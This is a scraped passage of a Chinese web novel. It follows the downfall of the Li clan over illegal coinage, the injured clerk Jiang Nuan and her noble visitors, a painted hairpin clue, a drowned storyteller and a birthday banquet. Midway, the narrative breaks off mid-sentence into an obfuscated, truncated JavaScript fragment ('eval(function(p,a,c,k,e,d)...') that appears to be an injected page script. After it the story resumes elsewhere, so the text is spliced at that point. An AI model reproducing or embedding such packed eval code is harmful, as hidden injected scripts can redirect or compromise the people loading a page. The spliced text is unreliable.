皇上早已不再是当初任人摆布的皇上了…… 李维翰自从染上了赌瘾之后,便开始借着李家的名头在外疯狂敛财,一开始还是小心翼翼的,犯了几次不大不小的错闹到皇上跟前时,皇上因为李家的关系便睁一只眼闭一只眼,对他所犯的事高高举起,再轻轻放下。到最后竟纵的他胃口便越来越大,行事也愈发张狂。 要说这李维翰想的也简单,当初要不是他们李家扶持,那九五至尊的位置根本轮不到现在的皇帝坐,这大昭的半壁江山便该有他们李家的一半。 李家门徒遍布大昭的三府九州,漓州发现一处矿山之后,他便动了心思,使了点小手段将此事瞒了下来,还让自己的心腹帮忙打理。 一开始他们还仿照着大昭的铜钱铸造的一般无二,分不清差别来,但很快,心腹同他说这铜矿量不大,如果完全按照真钱的工艺铸造怕是很快便会开采完。 他与心腹一合计,便将重量削减了一些,造了一部分流入民间,几次三番下来发现并没有人发现,于是胆子便越来越大,克重越减越少。 四年前被官中发现了一次,也因此折损了不少人进去,连他都差点被发现,还好心腹早就为他安排好了后手,让他得以高枕无忧。 后来父亲也发现此事,也勒令他马上销毁相关的一切,他还因此被禁足了整整半年。在这之后他便有所收敛,努力上进了一段时间,弄了个工部营缮所所正的七品芝麻小官当。 本以为日子就这么百无聊赖地过下去,后来在花灯巷满春院又被勾起了赌瘾,于是便开始偷偷将铸钱一事重新操办起来。 一切有他的心腹打理,他自是乐得逍遥自在,就算有朝一日被发现,他顶多不过是被判流放北荒。可老皇帝的身体又能撑几年呢?等他的表外甥登基,他还不是顺顺利利回昭宁城继续过他的快活日子。 那日在狱中,沈晏来问他为何要勾结土匪意图杀害于他,他一开始拒不承认此事。沈晏便将孙全带了上来,孙全是私下里替他办事的,主要负责将他手里的恶钱通过各大赌坊流出去,将恶钱变成真钱。 自从得知沈晏南下偷偷查恶钱一事时,他便知道此人留不得,便派了他前去卧牛山与山匪交涉,后脚他就派了人去灭口。 不是说他死了么,怎么还活着! “李大人可知道漓州的那处铜矿?听说并没有登记在舆图上……” 李维翰瞳孔收缩,抖着嘴唇道:“我不知道……” 沈晏将一个蟹青色,上头绣着一株兰花的香囊拿出来,李维翰的脸色瞬间苍白。 这个香囊他认得,是守忠的。 最后,他承认自己好赌贪财才私自开采铜矿,并为了不让此事暴露,才与山匪勾结试图杀人灭口。 他不能牵扯出皇后,因为他知道如果五年前的事瞒不住,那才是一切都完了。 眼下认了,他不过是贪财才私占铜矿,且他此次开采的量极少。皇后和他爹一定会为了此事斡旋,到时候皇上看在他们李家的份上,他最多被判个流放三千里。可要是将皇后牵扯进来,万一揪出了五年前青罗城兵败一事,勾结外敌可是要诛九族的! 但他不知道的是,他的心腹却突然反水,将四年前私铸的证据一一列举出来,还拿出了私铸兵器的铁证来,说他李家意图谋反。 太子被禁足东宫,皇后在殿外跪了两天,一病不起。 如今树倒猢狲散,往日依附李家的如今纷纷倒戈,一时间李家的人如过街老鼠人人喊打。 本以为此次李家在劫难逃,但李家曾从龙有功,当今皇上在登基时曾给过李家一个丹书铁券,凭此可免一死。 半个月后,那名心腹以及当地的知府,县丞等一干人等判处斩首,李维翰虽受奸人蛊惑私采铜矿,但对兵器铸造一事全然无知,李家御下不严,虽死罪可免但活罪难逃。李家所有家眷即刻收押,年后向西流放三千里,永世不得返回昭宁城。 不过短短半个多月,偌大的李家就只剩下一座空宅子孤零零地伫立在东市最繁华的地段。老百姓们一时间议论纷纷,李家曾经的辉煌从此便只留在了茶楼酒肆的闲谈之中。 …… 姜暖这两日已经能拄着腋拐“健步如飞”,这段时间可把她给憋疯了,一有劲儿就拄着腋拐在王府四处溜达,反正沈晏也没有限制她的人身自由。 她最喜欢去厨房嗑瓜子,因为厨娘们会讲一些邻里八卦,绘声绘色的,跟听单口相声似的,自然也是听到了李家的事。 她倒是没想到皇上竟然会将此事处理得这么快。听说皇后娘娘听到消息后当即就昏了过去,醒来便在殿外跪着,一直跪到不省人事,到现在人还在床上躺着呢。 而太子那边,若不是如今大昭实在没有合适的储君人选,多半是要考虑废太子的,绝对不是今日禁足东宫这般简单了。 姜暖却想不明白,李家为何要谋反,太子稳坐东宫之位,坐上那把龙椅也只是时间问题,李家何必铤而走险,莫不是李大人自己想当皇帝过过瘾? 又或者,是因为沈晏是皇帝私生子的传闻? 昨夜她向沈晏提及此事,问他为何不直接拿皇后开刀,依照皇上对李家的戒心,说不定会重新调查五年前的事。 他说仅凭借那个香囊,目前暂时还翻不出多大的浪花。索性便来一个声东击西,逼的李维翰亲口承认私占铜矿之事。 只有李维翰亲口承认,李家在这个事上才能翻不出多大的风浪来。 不过那名心腹所说倒是出乎他的意料,李家不仅造□□,还多了一个私铸兵器的罪名,直接逼得李崇义将祠堂里供着的丹书铁券给请了出来。 李崇义父子暂时从朝堂跌落,皇后在朝中便少了最大的靠山,他们想要重查五年的事便没有了太大的阻力。 姜暖脑子不如他们弯弯绕绕心思多,她目前只关心一个问题。 “所以,你到底是不是皇上的私生子?” 沈晏皱了一下眉头,道:“不是。” “这么笃定?”姜暖知道她此刻多少有点讨打了。 但沈晏似乎没有生气,而是抬手给了她脑门一下,转移话题道:“你的字练的怎么样了?” “睡了睡了。”姜暖起身单着脚跳进了屋。 沈晏:“……” 六月初七,小暑。 宋家的马车准时停在了安王府的大门口。宋怀轩今日穿得是一身月白色的文武袍,宋令仪在她身后下了车,穿得是时兴的对襟齐腰襦裙,外套了一件质地轻薄的大袖衫。 两人正准备进府,便听见从街道的另一个方向传来哒哒哒地马蹄声。宋怀轩一眼就认出那是七殿下府上的马车,待那车停下后,他携着堂妹前去见礼。 马车前放着一盆半人高的晚春海棠,艳丽的花朵簇拥着在枝头绽放,瞧上去红彤彤的,显得十分喜庆。 车帘被挑起,一只白嫩嫩的手伸了出来。只见七殿下穿着粉色的裙装,梳着流云髻,一脸高兴地跳下了马车。 “宋怀轩?” 沈慕朝一看到宋怀轩的脸,本来高兴地脸一下就垮了下来,“怎么到哪儿都能遇到你,阴魂不散啊。” 因为宋怀轩领了御前副统领的职位,最近两人时常能在皇城遇到,沈慕朝嫌晦气,这几日五天便有两天不去上值,今日好不容易得了空来看阿暖,没成想,又遇见他。 宋怀轩恭恭敬敬地请了个安,道:“自然是来探望姜大人的。” 宋令仪站在宋怀轩的身后,福了福身,“见过七殿下。” 沈慕朝瞥了一眼宋令仪,没说什么,只是拂了一把袖子指挥道:“把花搬进去。”然后抬着下巴趾高气昂地走在了前头。 原本他是打算叫安王府的小厮搬进去的,不过既然遇上了宋怀轩这大块头,没有不用的道理。 宋令仪跟在宋怀轩后头,用帕子遮着嘴,弯起了一双眼睛。 这七殿下还真是记仇得很。 三个人到琴瑟小院的时候,姜暖正眉头紧锁地练习写大字。 其实她以前的字不丑,只是这个毛笔字跟硬笔书不大一样,硬笔书写得好的毛笔字不一定写得好,况且她硬笔书只能说不丑,不知道毛笔书怎么能丑成那样。而且这大昭的文字结构也太复杂了点,所以她练起来还是很吃力的。 她这几日都未挽发髻,只随意地用发带拢在脑后,右腿横放在石凳上,随手翻开一个话本开始依葫芦画瓢,此时正写到“大仇已报,吾将去矣。” “阿暖——” 姜暖手一抖,去这个字一笔就飞了出去。 一抬头就见一个花蝴蝶扑了过来,脑袋上的金钗晃得她眼花缭乱的。 沈慕朝抱着姜暖的右腿左瞧瞧右看看,喋喋不休道:“你这腿有没有长歪啊?我每日给你熬的猪蹄儿牛蹄儿羊蹄儿汤你有没有喝?堂哥家里都没什么人,你就该去我的府上好好疗养,哎呀,疼不疼啊?我绣花时被针扎了都疼得死去活来……” 他像是积攒了很久,今天非要一股脑说出来才行,姜暖的头已经开始痛起来了。 她不记得她和七殿下的关系什么时候开始变得如此突飞猛进。 还叫她阿暖? 天爷,鸡皮疙瘩都冒出来了。 “打住打住!”姜 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这时,宋令仪柔柔开口道:“早前便听说镇安司进了个女官儿,早就想见上一面了。”她挨着宋怀轩,薄薄的肩背打得笔直,举手投足间尽显大家风范,脸上始终笑意浅浅。“今日托了堂哥的福,也算达成了我的心愿。” 姜暖被这番说辞恭维的有点不好意,下意识抬手挠头,“您抬举了。” 沈慕朝啪一下不客气地打在了她的手背上,“刚梳好你又弄乱了。” 姜暖啧了一声,也不敢对这位送财童子发脾气。 宋怀轩从怀里掏出了一个木盒子,递给姜暖道:“那日我的马受惊伤了你,心中实在过意不去,便准备了这个致歉礼,希望姜大人喜欢。” 盒子里是一个巴掌大的玉雕马儿,通体雪白,用料应该是上好的羊脂玉,触感温润细腻,马匹的肌肉线条十分流畅秀美。 “原本打算在祖母的寿宴上送出,但论理我应该是要亲自登门的,所以便借了令仪的名头下了帖子。” 姜暖摸着玉雕爱不释手,喃喃道:“这应该很值钱吧?” 宋怀轩愣住,歪了一下头老实回答:“应该很值?” 宋令仪噗呲一声,补充道:“千两白银还是值的,这羊脂玉是堂哥弱冠的时候祖母送的,那日回家堂哥便寻了出来让工匠雕了一匹马儿,说是要送给姜大人。” 他家堂哥自小便喜欢收集一些好看的石头,所以小仓库里摆满了各色各样的石头料子,有普通但造型别致的,也有这种水头上好的玉料。 这羊脂玉算得上其中比较好的,堂哥那日挑挑拣拣了许久才选了这个出来。 姜暖一听这料子的来历,眼睛都瞪大了,心里暗道可惜。 要是这玩意儿直接折现给她,她不仅能将欠沈晏的钱还清,说不定还能反过来雇沈晏给她也打一年工。 这时候沈慕朝已经给她梳了一个漂亮的飞仙髻,并拔了头上的一根簪子插到她的头上。梳完发髻的沈慕朝在她旁边落座,并幽幽道:“你不会在心里想着能不能折成银钱吧。” 他送出去的金钗差点全被这个女人换成了钱! 姜暖不自在地摸了摸下巴,哈哈道:“有那么明显?” 宋令仪低着头,肩膀开始轻微抖动,宋怀轩有点无措地喝了两口茶,沈慕朝则直接笑出了诡异的声音。 他瞟了一眼宋怀轩,阴阳怪气道:“宋怀轩,你这礼物没送到人心坎儿里啊。” 这七殿下一张嘴净添乱,姜暖没忍住回头横了他一眼,故意揶揄道:“人家上门又是送花又是送玉的,七殿下你怎么空手来的啊!” “那花是我送的!”七殿下气得呕血,这段时间他隔三岔五就送一盆海棠,这院子都快放不下了,怎么今日的海棠就变成宋怀轩送的了!还有刚刚插她头上的金簪,是插在了狗脑袋上了吗? 姜暖太坏了,她故意的! 偏偏这时候老实巴交的宋怀轩火上浇油道:“想不到七殿下竟是空手而来……” “宋怀轩!”沈慕朝气得抬腿踢人,宋怀轩早有预判似的躲开了。 沈慕朝又扑过去挠人,宋怀轩身子一扭完美躲开,几个回合下来,宋怀轩的屁股都没离开过凳子,还气定神闲地又续了一杯茶。 倒把沈慕朝累的不行,趴在桌子上缓了一会儿。又趁宋怀轩低头喝茶的功夫,他一脚偷袭过去,终于踹到了一条硬邦邦的小腿,连踹了三下方才解气。 宋令仪全程用手帕挡着下半张脸,露出一双弯弯的笑眼,似乎已经习惯了这两人见面就掐的习惯。 姜暖倒是好奇了起来,这两人究竟有什么仇什么怨。她趁着两人去别处拌嘴的间隙,偷偷拉了宋令仪探听起八卦来。 26. 第 26 章 关于沈慕朝和宋怀轩的旧怨,其实是一段孽缘。 当年,沈慕朝前脚死了母妃,还没在皇后宫里养热乎,就被太后收进了宫里亲自抚养。那段日子,沈慕朝许是嘴甜,成天将太后哄得心花怒放的,据小太监们说,这寿安宫每日都能听到太后爽朗的笑声。 这太后也越发对沈慕朝溺爱,就连他成天穿女装也不过多干涉,到了后头,已经完全将沈慕朝当女娃养了。当时沈慕朝不过八九岁的年纪,又粉雕玉琢的,穿着粉粉嫩嫩的女装,梳着元宝髻,很难分辨得出他是个男娃。 宋怀轩第一次见到沈慕朝是在中秋宫宴上,那会儿还未到开席的时间,各官员及家眷都在畅春园里寒暄走动,他们这几个年岁不大的公子小姐自是无人过问的。 只消领着在人前见个礼便可溜去一边儿玩了,倒是那些个适龄的少年少女们要一路陪着长辈,只为在诸多长辈跟前留个好印象,日后才好说亲。 那日,宋怀轩谢绝了同堂妹们玩过家家的邀请,独自在畅春园中探索,最后追着一只青蛙跑到了墙角根。 “你是哪家的?” 突然头顶上传来一个童声,宋怀轩抬起头一看,发现墙头冒出来一个毛茸茸的脑袋,瞪着一双黑葡萄似的眼睛盯着他瞧。 “宋家。”宋怀轩回答完,也问:“你是哪家的?” 那毛茸茸的脑袋却不搭理他,留给他一个后脑勺后便消失了。宋怀轩低头一看,青蛙也不知道跑到哪里去了。他有点懊恼,便打算离开去别处看看,身后却突然响起了一个熟悉的声音。 “你在抓什么?”是那个毛茸茸的脑袋。 宋怀轩登时吓了一大跳,问:“你从哪里过来的?”他左右看了看,都没看见有门,这一段路只有一片长长的白墙青瓦。 毛茸茸伸出一只小圆手指了指不远处被花草遮挡的狗洞道:“哪儿啊。” 宋怀轩探头一看,惊呼:“狗洞啊!” “你还没回答我呢,你在抓什么?”毛茸茸皱了皱眉头,不满地追问。 “青蛙。” 又说,“被你吓跑了。” 宋怀轩这才细细打量了一番眼前跟他差不多高的女孩子,只见她穿着一身粉嫩的袄裙,许是怕冷,刚入了秋便戴了一顶兔毛做的帽子,一双眼睛又黑又亮,瞧着比她堂妹好看不少。 宋怀轩想着应该是哪家的女儿,便问了一下姓名。 “我祖母都叫我朝朝。”沈慕朝说完又道:“我知道哪里青蛙多,我带你去抓。” 宋怀轩当时就觉得,哇,这个女孩子可以跟我一起抓青蛙,她好特别。 但是他们那天并没有抓到青蛙,因为现在入秋了,大部分的青蛙都准备冬眠了,刚刚那只估计是还没找到合适的巢穴。 直到天色见晚,沈慕朝才匆匆与他道别,宋怀轩以为还能在晚宴上看到她,但他在宴席上东张西望了一晚上,都没有看到她的身影。 他有点失望,感觉失去了一位志同道合的小伙伴。 真正结下梁子是在三年后的海棠花宴上,皇后设宴,邀请昭宁城的官员家眷进宫赏花。此次的宴会地点是在御花园内。他原本早就将三年前的事忘了,直到他又在墙头发现了一个圆圆的小脑袋。 宋怀轩高兴地发起了邀请,“你也来啦?下来玩啊?” 沈慕朝不高兴地撅了撅嘴,道:“这里没有狗洞。” “没事,你跳下来,我接着。”宋怀轩张开了胳膊,此时他已经九岁了,爹爹留给他的小石锁他都能举起来了,他对自己十分自信。 沈慕朝狐疑地看了看他,最后还是抵不住诱惑慢腾腾地翻过来,一屁股将宋怀轩坐在了地上。 宋怀轩疼得龇牙咧嘴的,嘴上却道:“我没事,我没事……” 他俩结伴避开热闹的人群往犄角旮旯里钻,路过蚂蚁洞去掏蚂蚁,在墙根儿草丛里抓青蛙逮蝈蝈,玩得不亦乐乎。 这时候一条狗不知道从什么地方窜出来,直扑沈慕朝而去。沈慕朝吓得尖叫连连,一个劲儿地往后跑。 宋怀轩也被吓了一跳,一边找石头或者树枝什么的趁手工具驱赶,一边拉着沈慕朝四下逃窜。 可两个人小胳膊小腿儿实在是干不过一只站起来快赶上他们一人高的大黑狗,不一会儿那狗就把沈慕朝扑到了地上,一口咬住了他的裙子。 沈慕朝一边拼命揣狗,一边往后挪。宋怀轩见状直接扑在大黑狗身上,抱着大黑狗的后腿拼命往后拉,一张脸涨得通红。 动静很快就引来了人。太监,宫女还有来宫晏赏花的客人们。远远地就有人瞅见那拉狗的是宋家大房的嫡子,至于被扑咬的是哪家的小姐便无人得知了。 人群刚刚蜂拥而至,只听“嘶啦”一声,沈慕朝的整条裙子被扯成了两半,连里头的亵裤都被拽到了腿弯。 突然卸了力的大黑狗被眼疾手快的太监们赶过来压制住,沈慕朝感觉裆下凉飕飕的,顾不上鼻涕横流了,连忙爬起来穿上亵裤。 宋怀轩一错不错地盯着他的裆,不可置信地问了一句:“朝朝你怎么会有小居居啊……”他的表情可谓是十分精彩,一副天塌了的样子。 宋怀轩的堂姐也很震惊,一脸诧然地问宋怀轩:“怀轩,这就是你喜欢的朝朝……小姑娘?” “哎呦喂,七殿下您怎么到这里来了,没伤着吧?”人群中突然窜出一个老奴,是皇后身边的嬷嬷,这狗是太子养的,不知何故突然发疯来了这里。 人群哗然一片,没成想这个粉雕玉琢的小女娃竟然是传闻中的七殿下! 宋怀轩的堂姐脸上顿时精彩纷呈,连忙上前将还神游在外的堂弟拉起来。那嬷嬷见这里人多眼杂,连忙致歉让各位主子移步花厅用膳,扭头便给太监们使眼色,太监们便领着沈慕朝离开了。 后来,此事都当作笑谈在各家府邸内宅流传了好一阵儿,最后的版本变成了,七殿下女装误儿郎,宋家公子当众扒裤子窥真身。 此事说到底也是一次意外,自那以后两三年,两人也没再见过。等到沈慕朝出来开府后,宋怀轩早就去了北荒历练。 其实也不是什么深仇大恨,只不过沈慕朝一见到宋怀轩心头自然便会想起那日之事,一个皇子当众掉了裤子还是挺让他难堪的。 特别是当时宋怀轩看他的眼神,以及那一句“朝朝你怎么会有小居居啊……”简直是魔音入耳,绕梁三日。 宋怀轩自认理亏,所以碰上七殿下能忍则忍,忍不了便顶回去。所以就显得他俩水火不容,但又没有那么不容。 宋令仪人往姜暖身上靠了靠,低声道:“原本以为十多年过去,殿下早该忘了。”她往七 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“没有。”沈晏回道,今日他们下值早,这个点儿太阳还没落山。 姜暖俯下身将簪子捡起来,本就被她睡得松散的发髻彻底散落开来,身上的海棠花瓣一片接一片地往下掉。 她抬手用簪子随意固定了一下。 这时候唐枳忽然问唐田:“你方才说海棠春睡图,我怎么觉得有点眼熟?” “嗯?”唐田一脸不解地回头看他,他刚才只是突然有感而发。 这时候沈晏同唐枳对视了一眼,互相在对方眼睛里找到了答案。 唐枳屁股还没坐下便拉起唐田往外走,“跟我去一趟库房。” “哎哎哎我茶还没喝上一口呢。” 姜暖看着两人匆匆忙忙的,给沈晏倒了一杯茶问:“又有新发现了?” “托了你的福。”沈晏喝了一口,又道:“但愿我想的没错。”说完又状似不经意地看了一眼她头上的簪子,问:“又是七殿下送的?” 姜暖点了点头,唉声叹气道:“他要是直接送钱该多好。”这些东西他又不让卖,放在屋里除了占地方就是占地方。 “小财迷……”沈晏翘起嘴角小声地嘀咕,这几日身上积压下来的冷气突然就散了个干干净净。 27. 第 27 章 唐枳两人去前院找康伯,获得了王府库房的钥匙。 这库房里头堆积了不少东西,大多是一些多余的摆件还有之前世子任职镇安司司使时,昭宁城大小官员送来的贺礼。倒是满满当当地摆满了一整个库房,康伯正要问需不需要调点人手过来一起找,两兄弟已经一头扎进了库房。 两人一番寻找之下,终于从某个积灰的角落里翻到了一幅画卷,红木做的地杆已有开裂的情况。随着画卷展开,一幅海棠春睡图浮现在眼前。 画中女子紧闭双眸,侧卧在海棠花树下,及腰长发如瀑几乎盖住了她的半个身子,发髻间只斜插着一支海棠花簪,松松散散的,尽显慵懒之态。画的左上角还题了一行字:美人醉卧春色里,海棠娇藏云髻边。旁边的落款正是周正的印章。 “这就是周正送给你的丹青?”姜暖记得之前在周府的时候,沈晏曾对周夫人提起过此事。 沈晏点点头,目光停留在那一段小字上。 三年前,他任职镇安司司使,当时府中收到了不少京中官员送来的贺礼,有贵重的也有不值钱纯表心意的。周正上昭宁城述职的时候,距离他任职已经过去了快一个月。也不知怎地,到昭宁城的隔天一大早他便亲自登了安王府府门,说是给镇安司司使送一份贺礼。 那会儿沈晏没在府上,康伯瞧着也不是什么值钱的东西便做主收下了。傍晚沈晏下值回来,后头跟着俩上门蹭饭的唐家兄弟。 康伯提了一嘴说上午有个自称青州府的同知来送贺礼,说是叫周正,是个青州来的地方官。提到这个名字的时候,沈晏多少愣了一下,便将画拿来打开看了一眼,发现是一幅仕女图便又扔回去了。倒是唐田和唐枳多看了几眼,唐田忍不住吐槽:“这人给世子送仕女图什么意思?” 他们世子是那么贪慕美色之人么?这么些年了,他除了丫鬟嬷嬷,就没在府里见过其他女的。 唐枳一把捏住了他的嘴唇,“你待会儿多吃点饭,一天天的怎么话这么多。” 这画便暂时被康伯收进了库房。要不是今日唐田突然说了那一句,唐枳又恰好想起来,这画可能还要留在库房里吃上好几年的灰。 姜暖摸着下巴,问:“这画是有什么玄机么?” 她突然瞪大了眼睛,右手握成拳砸在左手的手心上。“难不成这画上的女子是青衣?” 唐田指着女子的眉尾,反驳道:“可是青衣这里有一颗黑痣啊。”他抬头看姜暖,“就跟你的一样。” “那你怎么知道他是不是故意不画那颗痣的?”眉尾带痣虽然不是一种独有的特点,但确是一种能让人瞬间记住的面部特征。如果他当时就把这颗痣点上,可能会很容易提前暴露自己,说不定还没等沈晏反应过来,就被灭口了。 可不点痣,那沈晏这辈子可能都发现不了啊?姜暖陷入了思维绝路,开始换一只手摸下巴。 这时候唐枳默默地看了两个人一眼,道:“这不会是青衣。” 正当两人以为他要说出什么精妙绝伦的推演时,他开口道:“因为全大昭的仕女十个有八个都长这样。” 姜暖若有所思,敢情是批量的模特。 唐田盯着唐枳的脸,有点愤愤:“哥你竟然偷偷看了这么多仕女图!” 唐枳一巴掌拍他后脑勺上,叹息道:“字画贪墨案你又偷懒了吧……” 一直默不作声的沈晏将目光移到了女子发间的簪子上,他用手点了点簪子上的海棠花,缓声道:“你们不觉得这根簪子十分眼熟吗?” 听了他的话,唐田和姜暖同时将脑袋凑上去看了半天。 姜暖看着这个款式和材质,总觉得似曾相识,苦思冥想了半天,终于知道在哪儿见过了。 “周夫人!”她乍然抬头,眼睛亮晶晶地看着沈晏。 沈晏回了她一个肯定的眼神。 “不错,这根簪子同周夫人那日头上戴的极为相似。”说完顿了一下,指着簪子上的海棠花道:“不,应该是同一个。” 姜暖看着那细长手指指着的海棠花,立刻反应过来为何沈晏敢肯定这簪子是同一个了。 当时她记得周府的管家曾提过一嘴,周夫人的海棠花簪是周大人亲手画的图样,亲自找了匠人合力打造的。 市面上的海棠花簪都是五瓣海棠,这簪子为了体现出独一无二,周大人便给它做成了六瓣海棠,如果不仔细看的话是看不大出来的。 因为周夫人在亡夫灵堂上佩戴了颜色艳丽的海棠花簪,她那日便忍不住多看了好几眼,那簪子上的海棠花瓣确实是少见的六瓣,与这画像上的六瓣一模一样。 姜暖猜测,这簪子或许是周正留下来的线索。 应该是极为重要才会这么隐晦,说不准是有关皇后勾结南疆的罪证。事情一下子变得明朗起来,不管是不是他们猜测有误,总要派人去一趟青州才知道结果。 “唐……”沈晏伸手在两兄弟之间来回指了一下,最后应该是觉得唐枳在细节上比较靠谱一点,便吩咐唐枳秘密去一趟青州。 “那我呢!”唐田在旁边跃跃欲试。 沈晏朝他摆摆手,道:“你就留在昭宁城内替唐枳打掩护。” 唐田顿时蔫巴巴地像个被霜打了的茄子。 第二日,沈晏难得休沐,晨起在院子耍了一套剑招,就着姜暖的餐桌垫吧了两口早饭,便拎着人出门了。 “哎哎哎……我馒头没吃完呢……” 姜暖这几日腿脚恢复得挺好,已经告别了腋拐健步如飞。但沈晏照顾她,脚下的速度并不快。两人溜达出了王府,顺着街道慢慢走着,有点像积食了的老头老太太饭后出来散步消食。 姜暖嚼完了腮帮子里鼓鼓囊囊的食物,才腾出空来问:“着急忙慌拉我出来干啥?” 不会是单纯地想和她散散步吧。 好诡异。 沈晏背着手,闲适得像个有养老金的退休老头。 “下个月便是郭老夫人的寿宴,你不会想穿着镇安司的衣服去吧?” 姜暖听完调头便要走,“没钱。” 沈晏好笑地一把拉住了她的胳膊,道:“我送你。” 姜暖停了脚步,回头半信半疑道:“真送啊?不会打借条什么的吧?” “真送。”怕她不信,他甚至还举手发了个誓。 “你不早说。”姜暖的脚尖又转了回来,脸上顿时如沐春风,走路也快了些。 她现在也像个有养老金的退休老太太了。 两人刚走出丹桂街,正左转踏上东市大街的街道,就听见前方传来一阵嘈杂的人声。那里的人群异常多,像是被什么东西吸引了过去,人群中隐约能听见官差赶人的声音。 “那是什么地方?”姜暖问。 “永济河边,朝阳桥的位置。”沈晏蹙着眉头,道:“过去看看。” 等两人走近了,才知道永济 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东市附近的人家都问了,暂时没有失踪的人,已经有几个官差去西市排查了。恰好这时候,人也被打捞上来了。不过面部有些浮肿难辨,根据身上的衣着来看,想必是家中富庶的。 人群里突然有个声音传来:“我怎么瞧着这个人像马扁子。” 一石激起千层浪。 人群窸窸窣窣了一会儿,声音渐渐大了起来。 “马扁子不是一直在西市说书吗?怎么会跑到东市来?” “这马扁子连茶铺的钱都付不起,怎么穿得起这么贵的料子。” “听西市的郝掌柜说,马扁子好几天没去啦。” “我倒是听说他前不久将茶铺赊账都结清了,说不定是发了一笔横财。” “那可惜了,刚过上过好日子没几天人就没了。” 人群嘈杂,众说纷纭,有说是的有说不是的,但是最后谁也不确定这人究竟是不是马扁子。 姜暖走到尸体旁边,蹲下来掀开了尸体左手腕的袖口。 “这姑娘谁家的,胆子可真大……” “哎哟喂,她竟然敢用手去碰!” 袖口掀开露出了半截小臂,姜暖在小臂下端找到了半块铜板大小的黑疤。当日茶铺里听马扁子口若悬河之时,那袖口晃动间,她便瞧见了那隐在手腕不远处的黑斑。 “我认识他。”姜暖站起身对谈望舒道:“他应该就是他们口中的那个马扁子。” 谈望舒道了一声谢,便吩咐手下去西市核对此人的身份。 尸体被运走,人群也渐渐散去。两人跨过朝阳桥,姜暖在距离沈晏的身后三步远的位置低头沉思。 不知道马扁子的死会不会跟他在茶铺里说的那些事有关。 “你离我那么远做什么?”沈晏不满地停下来回过头看她。 姜暖抬起头,脸上还保持着深思的表情,木然道:“我刚刚碰过尸体啊。” 多脏啊,您不是有洁癖么? 沈晏脸上的表情突然丰富多彩起来,姜暖一时都分不清他这是生气还是高兴。 半晌,才听他语调有点奇怪地说:“那你走快点,绫罗阁里备有净手的水。” 姜暖不假思索:“腿还没好全,走不快。” “……” 沈晏觉得胸口有点闷痛。 28. 第 28 章 老夫人的寿宴在七月廿一,宋府门前热闹得很,各式各样的马车有序地排成一排,宾客们依次从车内下来,一路谈笑风生地跨过高高的门槛。 昭宁城的盛夏有些许炎热,但宋府的后花园设计巧妙,行走间微风拂面送来阵阵花香,园中还修建了一座体量较大的自雨亭供夏季纳凉而用。 待客的水榭亭台内也放置了冰块降暑,就连瓜果也是刚刚冰镇过端上来的,即便盛夏府内人员众多,倒也谈不上炎热,只觉凛若高秋。 今日姜暖穿的是一身松柏绿的印花圆领袍,做的是枣红色的内里。 她原本是打算做一套襦裙的,凉快又好看,但是胳膊上的披帛老掉,她又嫌麻烦。加上她一贯行走坐卧有点大开大合,这种繁复的裙装反倒不适合她。而且若是要抡胳膊踢腿的话还不如穿男装,方便又舒适,最后便挑了个颜色好看的料子做了这一身圆领袍。 她与沈晏搭同一辆马车,来得不早也不晚。 最近这段时间看沈晏穿黑色的工作服看习惯了,乍然一副翩翩公子的打扮,让她忍不住多看了好几眼。 沈晏假寐,手指在身侧捻啊捻,就是不敢睁开眼睛。 此时还未到晌午,宴席还在准备,宾客们便在后花园中稍作休息。远远地,两人便见宋怀轩领着宋令仪朝他们而来。 四个人各自见了礼,沈晏便跟着宋怀轩去了男宾客的休息区,宋令仪则拉着她往游廊的另一边走。 “姜大人今日怎地穿的男装?” 姜暖指了指她胳膊上鹅黄色的披帛道:“我觉得这东西老掉,我把握不好。” 又说,“你叫我姜暖就好,一直叫大人我挺不习惯的。” “姜姐姐你说话真有意思。” 宋令仪这回笑得露出了几颗洁白的牙齿,姜暖发现她竟然有两颗小虎牙。 “你今日怎么不捂嘴巴了?”姜暖问。 宋令仪提了裙摆上阶梯,“在家还要时刻保持端庄,那活着也太累了。” 姜暖点头:“说得也是。” 她就知道,喜爱看女将军和侠女的姑娘性子能古板到哪里去? 两人进了自雨亭,里头早已聚了几个大家闺秀,正凑在一起玩投壶。 一个梳着垂挂髻的少女恰好赢了这一把,兴高采烈地对旁边穿粉蓝色衣裙的姑娘说:“苏酥你瞧我是不是很厉害。” 叫苏酥的少女重重地点点头,捧场道:“你最厉害了。” 旁边输了的少女搅了搅帕子,不服输道:“再来!” “令仪你去哪儿了?”有个瓜子脸的姑娘正在旁打着扇子,余光瞧见了去而复返的宋令仪,“你不在没瞧见,宝月连输三回了。” 说完方才看到她的后头还跟了一个人,惊讶道:“咦?这是哪家的姐姐?” 众人听罢,都好奇地扭过头来看。 不过此时的姜暖都被眼前这个会下雨的亭子吸引了全部的注意。 这亭子旁有一个活水渠,渠上架了一个水车,山泉水从高处的假山流下来带动水车转动,将水引到了房顶上设置的管道内,活水又顺着管道的孔流向屋顶,最后顺着瓦垄滴到屋檐下。 古代版的空调屋啊…… 姜暖正赞叹古人的智慧无与伦比,耳边突然响起一个不太高兴的女声。 “住在安王府的那个姜录事?” 姜暖回过神一看,是方才那个梳着垂挂髻的少女。她下意识眯了眯眼睛,回想自己应该是没见过这个包子脸的女孩儿。 那这莫名的敌意,肯定是因为沈晏!而且听这话的内容,不会是沈晏的桃花债吧? 苏酥沈伸手拉了拉那个少女的袖子,轻声道:“曦姐姐,今日是郭老夫人的寿宴,你别惹事。” 孟曦哼了一声,不满道:“我也没怎么。”说完转身一屁股坐在凳子上,揪了桌上的葡萄自顾自吃起来。苏酥坐在她里头,娇小的身体都快要藏到她的身躯后了。 场面一下尴尬起来,那瓜子脸的姑娘见状摇着扇子过来问:“听说姜姐姐是老夫人亲自下了帖子请来的?”打破了这诡异的气氛。 那日北郊马场的事她多少有听令仪提起过,说话间,眼神也很自然地从姜暖的右腿上扫过。 宋令仪抬手向姜暖介绍:“徐瑶,我的闺中好友,也是兵部尚书的嫡女。” 姜暖朝她点点头,言简意赅道:“是老夫人抬爱。” 这时候回到座位喝茶的程宝月不耐烦地拧了拧眉头,“你们三个站着说话不累么?” 徐瑶甩了一下扇子,歪过身子来道:“别理她,方才输了这会儿正怄气呢。” 